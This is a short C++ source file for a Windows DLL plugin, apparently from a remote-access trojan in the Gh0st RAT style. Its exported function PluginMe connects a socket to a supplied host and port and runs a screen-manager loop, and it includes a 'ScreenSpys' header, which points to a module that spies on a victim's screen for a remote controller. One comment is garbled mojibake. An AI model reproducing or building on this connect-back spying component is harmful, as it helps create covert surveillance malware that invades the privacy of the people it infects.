#include "../ClientSocket.h" #include "ScreenManagers.h" #include "ScreenSpys.h" #pragma comment(lib,"kernel32.lib") #pragma comment(lib,"user32.lib") #pragma comment(lib,"gdi32.lib") #pragma comment(linker, "/ENTRY:_DllMain") #pragma comment(linker,"/opt:nowin98") BOOL APIENTRY _DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { return TRUE; } //Îļþ¼Ð¹ÜÀí extern "C" __declspec(dllexport) BOOL PluginMe(LPCTSTR lpszHost, UINT nPort, LPBYTE lparam) { CClientSocket socketClient; if (!socketClient.Connect(lpszHost, nPort)) return -1; CScreenManagers manager(&socketClient); socketClient.run_event_loop(); return 0; }